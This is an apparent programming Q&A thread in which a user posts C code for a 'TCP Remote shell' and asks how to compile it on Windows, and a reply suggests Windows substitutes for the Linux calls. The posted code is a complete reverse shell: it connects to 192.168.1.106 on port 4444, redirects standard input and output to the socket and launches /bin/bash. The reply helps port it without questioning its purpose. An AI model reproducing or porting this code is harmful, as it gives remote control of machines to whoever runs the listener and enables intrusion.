Reputation: 41
I'm currently working on a c++ project regarding a TCP Remote shell. Therefore I build the following code. As I'm working on windows, I found substitute libraries and headers for all of the following "#include", except for <netinet/in.h>
Thanks for all your help!
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>
int main(void) {
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr*)&revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char* const argv[] = {"/bin/bash", NULL };
execve("/bin/bash", argv, NULL);
return 0;
}
´´´´´´
Upvotes: 3
Views: 22508
Reputation: 8437
Do not try to find a match for your include files from Linux to Windows. Instead, try to compile your code step by step and add those include files that you need. What I can see in the code:
inet_addr
you can use inet_pton
that is inside the <Ws2tcpip.h>
include file. dub2
use _dub2
in windows, that is inside <io.h>
. execve
, use std::system
. Upvotes: 4